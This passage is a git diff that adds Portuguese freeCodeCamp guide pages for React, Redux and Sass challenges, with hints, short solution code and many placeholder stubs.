+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react/use-the-lifecycle-method-componentwillmount/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/write-a-react-component-from-scratch/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/write-a-react-component-from-scratch/index.md
new file mode 100644
index 0000000000..5caaeae220
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/write-a-react-component-from-scratch/index.md
@@ -0,0 +1,41 @@
+---
+title: Write a React Component from Scratch
+localeTitle: Escrever um componente Reagir do zero
+---
+## Escrever um componente Reagir do zero
+
+Neste desafio, queremos criar um componente de reação de `class` (componentes React podem ser componentes de `class` ou componentes de `function` ). Todos os nossos componentes de classe serão uma extensão do `React.Component` . Por exemplo, podemos começar a fazer um componente chamado `FirstComponent` com:
+
+```javascript
+class FirstComponent extends React.Component { 
+ 
+ }; 
+```
+
+Também precisamos ter certeza de definir o `constructor` para nossa nova classe. É uma boa prática chamar o `constructor` qualquer componente com `super` e passar `props` para ambos. `super` puxa o `constructor` da classe pai do nosso componente (nesse caso, `React.Component` ). Agora, o código para o nosso componente é assim:
+
+```javascript
+class FirstComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+  } 
+ 
+ }; 
+```
+
+Agora tudo o que resta a fazer é definir o que nosso componente `render` ! Fazemos isso chamando o método de `render` do componente e retornando nosso código JSX:
+
+```javascript
+class FirstComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+  } 
+  render() { 
+    return ( 
+      // The JSX code you put here is what your component will render 
+    ); 
+  } 
+ }; 
+```
+
+Uma vez que seu código JSX está lá, seu componente está completo! Se você quiser um tutorial mais granular dos componentes do React, Samer Buna [escreveu um ótimo artigo](https://medium.freecodecamp.org/how-to-write-your-first-react-js-component-d728d759cabc) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/write-a-simple-counter/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/write-a-simple-counter/index.md
new file mode 100644
index 0000000000..99b8cd13d8
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/write-a-simple-counter/index.md
@@ -0,0 +1,70 @@
+---
+title: Write a Simple Counter
+localeTitle: Escreva um contador simples
+---
+## Escreva um contador simples
+
+#### Sugestão 1:
+
+```JSX
+class Counter extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      count: 0 
+    }; 
+    // change code below this line 
+         // Remember the previous challange. 
+         // Bind "this" for each of these three method (increment(),decrement() and reset()). 
+    // change code above this line 
+  } 
+  // change code below this line 
+         // Define these three method here. 
+         // Inside these methods, call "setState()" method to update the data of construtor`s state. 
+  // change code above this line 
+  render() { 
+    return ( 
+      <div> 
+        <button className='inc' onClick={this.increment}>Increment!</button> 
+        <button className='dec' onClick={this.decrement}>Decrement!</button> 
+        <button className='reset' onClick={this.reset}>Reset</button> 
+        <h1>Current Count: {this.state.count}</h1> 
+      </div> 
+    ); 
+  } 
+ }; 
+```
+
+## Solução:
+
+```JSX
+class Counter extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      count: 0 
+    }; 
+    // change code below this line 
+      this.increment = this.increment.bind(this); 
+      this.decrement = this.decrement.bind(this); 
+      this.reset = this.reset.bind(this); 
+    // change code above this line 
+  } 
+  // change code below this line 
+    increment(){this.setState({count: this.state.count + 1})} 
+    decrement(){this.setState({count: this.state.count - 1})} 
+    reset(){this.setState({count: 0})} 
+  // change code above this line 
+  render() { 
+    return ( 
+      <div> 
+        <button className='inc' onClick={this.increment}>Increment!</button> 
+        <button className='dec' onClick={this.decrement}>Decrement!</button> 
+        <button className='reset' onClick={this.reset}>Reset</button> 
+        <h1>Current Count: {this.state.count}</h1> 
+      </div> 
+    ); 
+  } 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/redux/combine-multiple-reducers/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/redux/combine-multiple-reducers/index.md
new file mode 100644
index 0000000000..cae928f6cf
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/redux/combine-multiple-reducers/index.md
@@ -0,0 +1,9 @@
+---
+title: Combine Multiple Reducers
+localeTitle: Combine vários redutores
+---
+## Combine vários redutores
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/redux/combine-multiple-reducers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/redux/copy-an-object-with-object.assign/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/redux/copy-an-object-with-object.assign/index.md
new file mode 100644
index 0000000000..7a2ff4f7e3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/redux/copy-an-object-with-object.assign/index.md
@@ -0,0 +1,9 @@
+---
+title: Copy an Object with Object.assign
+localeTitle: Copiar um objeto com Object.assign
+---
+## Copiar um objeto com Object.assign
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/redux/copy-an-object-with-object.assign/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/redux/create-a-redux-store/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/redux/create-a-redux-store/index.md
new file mode 100644
index 0000000000..771db8c5ef
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/redux/create-a-redux-store/index.md
@@ -0,0 +1,33 @@
+---
+title: Create a Redux Store
+localeTitle: Crie um repositório Redux
+---
+## Crie um repositório Redux
+
+Existem três partes para este desafio.
+
+1.  Declare uma variável de `store` .
+2.  Atribua-o ao método `createStore()` .
+3.  Passe o `reducer` como argumento.
+
+### Etapa 1. Declarar uma variável.
+
+```javascript
+const yourVariableName; 
+```
+
+### Etapa 2. Atribuir sua variável a um método.
+
+```javascript
+const yourVariableName = yourMethodName(); 
+```
+
+Dica: tenha em mente que o método `createStore()` está disponível no objeto Redux. Por exemplo: `Redux.createStore()`
+
+### Passo 3. Passe em um argumento para o seu método.
+
+```javascript
+const yourVariableName = yourMethodName(yourArgumentName); 
+```
+
+Boa sorte!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/redux/define-a-redux-action/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/redux/define-a-redux-action/index.md
new file mode 100644
index 0000000000..e637b4fd51
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/redux/define-a-redux-action/index.md
@@ -0,0 +1,14 @@
+---
+title: Define a Redux Action
+localeTitle: Definir uma ação do Redux
+---
+## Definir uma ação do Redux
+
+Aqui está como declarar uma ação do Redux.
+
+```react.js
+let action={ 
+  type: 'LOGIN' 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/redux/define-an-action-creator/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/redux/define-an-action-creator/index.md
new file mode 100644
index 0000000000..3bd01e8c7c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/redux/define-an-action-creator/index.md
@@ -0,0 +1,30 @@
+---
+title: Define an Action Creator
+localeTitle: Definir um criador de ações
+---
+## Definir um criador de ações
+
+### Sugestão 1
+
+Uma função é definida usando a seguinte sintaxe:
+
+```javascript
+functionName(){ 
+  console.log("Do something"); 
+ } 
+```
+
+Onde console.log pode ser alterado de acordo com a necessidade.
+
+### Sugestão 2
+
+Um valor é retornado usando a palavra-chave `return`
+
+### Solução
+
+```javascript
+function actionCreator(){ 
+    return action; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/redux/dispatch-an-action-event/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/redux/dispatch-an-action-event/index.md
new file mode 100644
index 0000000000..d53d222588
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/redux/dispatch-an-action-event/index.md
@@ -0,0 +1,12 @@
+---
+title: Dispatch an Action Event
+localeTitle: Despachar um Evento de Ação
+---
+## Despachar um Evento de Ação
+
+Despache a ação LOGIN para o armazenamento Redux chamando o método de dispatch e passe a ação criada por `loginAction()` .
+
+```react.js
+store.dispatch(loginAction()); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/redux/get-state-from-the-redux-store/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/redux/get-state-from-the-redux-store/index.md
new file mode 100644
index 0000000000..b0170c6f1b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/redux/get-state-from-the-redux-store/index.md
@@ -0,0 +1,12 @@
+---
+title: Get State from the Redux Store
+localeTitle: Obtenha o estado da loja Redux
+---
+## Obtenha o estado da loja Redux
+
+Recuperar dados da loja usando o método `getState()` .
+
+```react.js
+let currentState = store.getState(); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/redux/handle-an-action-in-the-store/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/redux/handle-an-action-in-the-store/index.md
new file mode 100644
index 0000000000..4ca802c89e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/redux/handle-an-action-in-the-store/index.md
@@ -0,0 +1,34 @@
+---
+title: Handle an Action in the Store
+localeTitle: Lidar com uma ação na loja
+---
+## Lidar com uma ação na loja
+
+### Solução
+
+```javascript
+const defaultState = { 
+  login: false 
+ }; 
+ 
+ const reducer = (state = defaultState, action) => { 
+  // change code below this line 
+  if (action.type === 'LOGIN') { 
+    return  { 
+    login: true 
+    } 
+    } else { 
+      return defaultState 
+  }; 
+  // change code above this line 
+ }; 
+ 
+ const store = Redux.createStore(reducer); 
+ 
+ const loginAction = () => { 
+  return { 
+    type: 'LOGIN' 
+  } 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/redux/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/redux/index.md
new file mode 100644
index 0000000000..80235bf974
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/redux/index.md
@@ -0,0 +1,11 @@
+---
+title: Redux
+localeTitle: Redux
+---
+## Redux
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/redux/never-mutate-state/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/redux/never-mutate-state/index.md
new file mode 100644
index 0000000000..79f6e877fd
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/redux/never-mutate-state/index.md
@@ -0,0 +1,9 @@
+---
+title: Never Mutate State
+localeTitle: Nunca Mute Estado
+---
+## Nunca Mute Estado
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/redux/never-mutate-state/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/redux/register-a-store-listener/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/redux/register-a-store-listener/index.md
new file mode 100644
index 0000000000..4713afb733
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/redux/register-a-store-listener/index.md
@@ -0,0 +1,58 @@
+---
+title: Register a Store Listener
+localeTitle: Registrar um ouvinte da loja
+---
+## Registrar um ouvinte da loja
+
+Vamos quebrar as instruções para descobrir exatamente o que está perguntando.
+
+> _Escreva uma função de retorno de chamada que aumente a contagem de variáveis ​​globais toda vez que a loja receber uma ação e passe essa função para o método store.subscribe ()._
+
+Podemos resumir estes passos em pequenos pedaços:
+
+1.  escrever uma função de retorno de chamada
+2.  incrementar a contagem de variáveis ​​globais
+3.  passe a função para o método `store.subscribe()` .
+
+Impressionante! Agora vamos rever alguns dos princípios básicos novamente.
+
+### O que é uma "função de retorno de chamada" em inglês simples?
+
+Uma função de retorno de chamada é simplesmente uma função que é chamada depois que outra função é executada. No mundo real, pode ser algo assim:
+
+```javascript
+// You drop your car off at the mechanic and you want the shop to 'call you back' when your car is fixed. 
+ let carIsBroken = true; 
+ const callCarOwner = () => console.log('Hello your car is done!'); 
+ const fixCar = (carIsBroken, callCarOwner) => { 
+  if (carIsBroken === true) { 
+    carIsBroken = false; 
+  } 
+  console.log(carIsBroken); 
+  // After the car is fixed, the last thing we do is call the car owner - that's our 'callback function'. 
+  callCarOwner(); 
+ } 
+ fixCar(carIsBroken, callCarOwner); 
+```
+
+### Como você aumenta uma variável numérica?
+
+Podemos fazer isso usando o operador "+ =".
+
+```javascript
+let count = 1; 
+ const addOne = () => count +=1; 
+```
+
+### Como você passa uma função para um método?
+
+Podemos passar uma função para um método da mesma forma que podemos passar uma variável para um método. Apenas passe isso como um argumento!
+
+```javascript
+function sayHi() { 
+  console.log('Hi!'); 
+ } 
+ store.subscribe(sayHi); 
+```
+
+Quer atualizar isso? [Edite este stub no GitHub.](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/redux/register-a-store-listener/index.md)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/redux/remove-an-item-from-an-array/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/redux/remove-an-item-from-an-array/index.md
new file mode 100644
index 0000000000..2039759c77
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/redux/remove-an-item-from-an-array/index.md
@@ -0,0 +1,9 @@
+---
+title: Remove an Item from an Array
+localeTitle: Remover um item de uma matriz
+---
+## Remover um item de uma matriz
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/redux/remove-an-item-from-an-array/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/redux/send-action-data-to-the-store/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/redux/send-action-data-to-the-store/index.md
new file mode 100644
index 0000000000..0f366ee11a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/redux/send-action-data-to-the-store/index.md
@@ -0,0 +1,9 @@
+---
+title: Send Action Data to the Store
+localeTitle: Enviar dados de ação para a loja
+---
+## Enviar dados de ação para a loja
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/redux/send-action-data-to-the-store/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/redux/use-a-switch-statement-to-handle-multiple-actions/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/redux/use-a-switch-statement-to-handle-multiple-actions/index.md
new file mode 100644
index 0000000000..a878d96054
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/redux/use-a-switch-statement-to-handle-multiple-actions/index.md
@@ -0,0 +1,11 @@
+---
+title: Use a Switch Statement to Handle Multiple Actions
+localeTitle: Use uma instrução de troca para lidar com várias ações
+---
+## Use uma instrução de troca para lidar com várias ações
+
+Dica: Certifique-se de não usar os comandos "break" após as instruções de retorno nos casos de alternância.
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/redux/use-a-switch-statement-to-handle-multiple-actions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/redux/use-const-for-action-types/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/redux/use-const-for-action-types/index.md
new file mode 100644
index 0000000000..2b01e481cc
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/redux/use-const-for-action-types/index.md
@@ -0,0 +1,81 @@
+---
+title: Use const for Action Types
+localeTitle: Use const para tipos de ação
+---
+## Use const para tipos de ação
+
+### Usar uma const para Action Types tem uma grande vantagem sobre o uso de strings.
+
+**Erros ortográficos acidentais de seqüências de caracteres podem levar a erros.**
+
+Você pode `type: 'LOGIN'` corretamente em seu criador de ações, mas `type: 'LOGN'` no seu redutor como mostrado abaixo.
+```
+const loginUser = () => { 
+  return { 
+    type: 'LOGIN' 
+  } 
+ }; 
+ 
+ const authReducer = (state = defaultState, action) => { 
+ 
+  switch (action.type) { 
+ 
+    case 'LOGN': 
+      return { 
+        authenticated: true 
+      } 
+ 
+    case 'LOGOUT': 
+      return { 
+        authenticated: false 
+      } 
+ 
+    default: 
+      return state; 
+ 
+  } 
+ 
+ }; 
+```
+
+Ao usar uma const para o tipo de ação, não importa se a sua string foi digitada incorretamente porque tanto a declaração do comutador do redutor quanto o tipo de ação estão referenciando a mesma `const` . Usar um `const` também pode levar seu editor de código a sugerir o `const` enquanto você o digita, reduzindo assim a chance de errar o erro na `const` .
+
+O código mostrado abaixo funcionará.
+```
+const LOGIN = 'blahblahblah'; 
+ const LOGOUT = 'wahwahwahwah'; 
+ 
+ const loginUser = () => { 
+  return { 
+    type: LOGIN 
+  } 
+ }; 
+ 
+ const logoutUser = () => { 
+  return { 
+    type: LOGOUT 
+  } 
+ }; 
+ 
+ const authReducer = (state = defaultState, action) => { 
+ 
+  switch (action.type) { 
+ 
+    case LOGIN: 
+      return { 
+        authenticated: true 
+      } 
+ 
+    case LOGOUT: 
+      return { 
+        authenticated: false 
+      } 
+ 
+    default: 
+      return state; 
+ 
+  } 
+ 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/redux/use-middleware-to-handle-asynchronous-actions/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/redux/use-middleware-to-handle-asynchronous-actions/index.md
new file mode 100644
index 0000000000..023cf34f0f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/redux/use-middleware-to-handle-asynchronous-actions/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Middleware to Handle Asynchronous Actions
+localeTitle: Use o middleware para manipular ações assíncronas
+---
+## Use o middleware para manipular ações assíncronas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/redux/use-middleware-to-handle-asynchronous-actions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/redux/use-the-spread-operator-on-arrays/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/redux/use-the-spread-operator-on-arrays/index.md
new file mode 100644
index 0000000000..80032a92b3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/redux/use-the-spread-operator-on-arrays/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the Spread Operator on Arrays
+localeTitle: Use o operador de propagação em matrizes
+---
+## Use o operador de propagação em matrizes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/redux/use-the-spread-operator-on-arrays/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/redux/write-a-counter-with-redux/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/redux/write-a-counter-with-redux/index.md
new file mode 100644
index 0000000000..6e087ed661
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/redux/write-a-counter-with-redux/index.md
@@ -0,0 +1,9 @@
+---
+title: Write a Counter with Redux
+localeTitle: Escreva um contador com Redux
+---
+## Escreva um contador com Redux
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/redux/write-a-counter-with-redux/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/sass/apply-a-style-until-a-condition-is-met-with-while/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/sass/apply-a-style-until-a-condition-is-met-with-while/index.md
new file mode 100644
index 0000000000..f4d483e53b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/sass/apply-a-style-until-a-condition-is-met-with-while/index.md
@@ -0,0 +1,9 @@
+---
+title: Apply a Style Until a Condition is Met with @while
+localeTitle: Aplicar um estilo até que uma condição seja satisfeita com @while
+---
+## Aplicar um estilo até que uma condição seja satisfeita com @while
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/sass/apply-a-style-until-a-condition-is-met-with-while/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/sass/create-reusable-css-with-mixins/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/sass/create-reusable-css-with-mixins/index.md
new file mode 100644
index 0000000000..3fa79bafbd
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/sass/create-reusable-css-with-mixins/index.md
@@ -0,0 +1,51 @@
+---
+title: Create Reusable CSS with Mixins
+localeTitle: Crie CSS Reutilizável com Mixins
+---
+## Crie CSS Reutilizável com Mixins
+
+`Mixin` é um dos grandes recursos que permite aos desenvolvedores usar o `SASS` vez do `CSS` simples, já que ele permite que você tenha uma `Function` dentro da sua folha de estilo!
+
+Para criar um mixin, você deve seguir o seguinte esquema:
+
+```scss
+@mixin custom-mixin-name($param1, $param2, ....) { 
+    // CSS Properties Here... 
+ } 
+```
+
+E para usá-lo em seu (s) elemento (s), você deve usar `@include` seguido pelo seu nome `Mixin` , como segue:
+
+```scss
+element { 
+    @include custom-mixin-name(value1, value2, ....); 
+ } 
+```
+
+* * *
+
+### \[Exemplo\] Escreva uma `Text Shadow` no `SASS`
+
+**Objetivo:** Aplicar uma `Text Shadow` personalizada a um elemento `h4`
+
+#### HTML
+
+```html
+
+<h4>This text needs a Shadow!</h4> 
+```
+
+#### SASS _(escrito na sintaxe do SCSS)_
+
+```scss
+@mixin custom-text-shadow($offsetX, $offsetY, $blurRadius, $color) { 
+    -webkit-text-shadow: $offsetX, $offsetY, $blurRadius, $color; 
+    -moz-text-shadow: $offsetX, $offsetY, $blurRadius, $color; 
+    -ms-text-shadow: $offsetX, $offsetY, $blurRadius, $color; 
+    text-shadow: $offsetX, $offsetY, $blurRadius, $color; 
+ } 
+ h2 { 
+    @include custom-text-shadow(1px, 3px, 5px, #999999) 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/sass/extend-one-set-of-css-styles-to-another-element/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/sass/extend-one-set-of-css-styles-to-another-element/index.md
new file mode 100644
index 0000000000..616ab09990
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/sass/extend-one-set-of-css-styles-to-another-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Extend One Set of CSS Styles to Another Element
+localeTitle: Estenda um conjunto de estilos CSS para outro elemento
+---
+## Estenda um conjunto de estilos CSS para outro elemento
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/sass/extend-one-set-of-css-styles-to-another-element/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/sass/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/sass/index.md
new file mode 100644
index 0000000000..564fac2d39
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/sass/index.md
@@ -0,0 +1,11 @@
+---
+title: SASS
+localeTitle: SASS
+---
+## SASS
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/sass/nest-css-with-sass/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/sass/nest-css-with-sass/index.md
new file mode 100644
index 0000000000..d71312415f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/sass/nest-css-with-sass/index.md
@@ -0,0 +1,44 @@
+---
+title: Nest CSS with Sass
+localeTitle: Nest CSS com Sass
+---
+## Nest CSS com Sass
+
+*   No Sass, as regras CSS de aninhamento permitem definir seletores de hierarquia.
+*   Você pode organizar suas folhas de estilo aninhando regras CSS.
+
+## Exemplo
+
+```sass
+.title{ 
+  strong{} 
+  em{} 
+ } 
+ 
+ // This will be compiled into: 
+ 
+ .title{} 
+ .title strong{} 
+ .title em{} 
+```
+
+## Sugestão 1:
+
+*   Você pode querer mudar a posição de "}" na linha 4.
+
+## Solução
+
+```sass
+<style type='text/sass'> 
+  .blog-post { 
+    h1 { 
+     text-align: center; 
+     color: blue; 
+    } 
+    p { 
+        font-size: 20px; 
+    } 
+  } 
+ </style> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/sass/split-your-styles-into-smaller-chunks-with-partials/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/sass/split-your-styles-into-smaller-chunks-with-partials/index.md
new file mode 100644
index 0000000000..7a04af4310
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/sass/split-your-styles-into-smaller-chunks-with-partials/index.md
@@ -0,0 +1,9 @@
+---
+title: Split Your Styles into Smaller Chunks with Partials
+localeTitle: Dividir seus estilos em pedaços menores com parciais
+---
+## Dividir seus estilos em pedaços menores com parciais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/sass/split-your-styles-into-smaller-chunks-with-partials/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/sass/store-data-with-sass-variables/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/sass/store-data-with-sass-variables/index.md
new file mode 100644
index 0000000000..018cd72014
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/sass/store-data-with-sass-variables/index.md
@@ -0,0 +1,22 @@
+---
+title: Store Data with Sass Variables
+localeTitle: Armazenar dados com variáveis ​​Sass
+---
+## Armazenar dados com variáveis ​​Sass
+
+## Solução
+
+```javascript
+<style type='text/sass'> 
+ 
+  $text-color: red; // Declaration of the variable "text-color". 
+ 
+  .header{ 
+    text-align: center; 
+  } 
+  .blog-post, h2 { 
+    color: $text-color; // Changing the value of color with the value of "text-color". 
+  } 
+ </style> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/sass/use-each-to-map-over-items-in-a-list/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/sass/use-each-to-map-over-items-in-a-list/index.md
new file mode 100644
index 0000000000..7b90aade12
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/sass/use-each-to-map-over-items-in-a-list/index.md
@@ -0,0 +1,9 @@
+---
+title: Use @each to Map Over Items in a List
+localeTitle: Use @each para mapear itens em uma lista
+---
+## Use @each para mapear itens em uma lista
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/sass/use-each-to-map-over-items-in-a-list/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/sass/use-for-to-create-a-sass-loop/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/sass/use-for-to-create-a-sass-loop/index.md
new file mode 100644
index 0000000000..cbe4f4518f
--- /dev/null
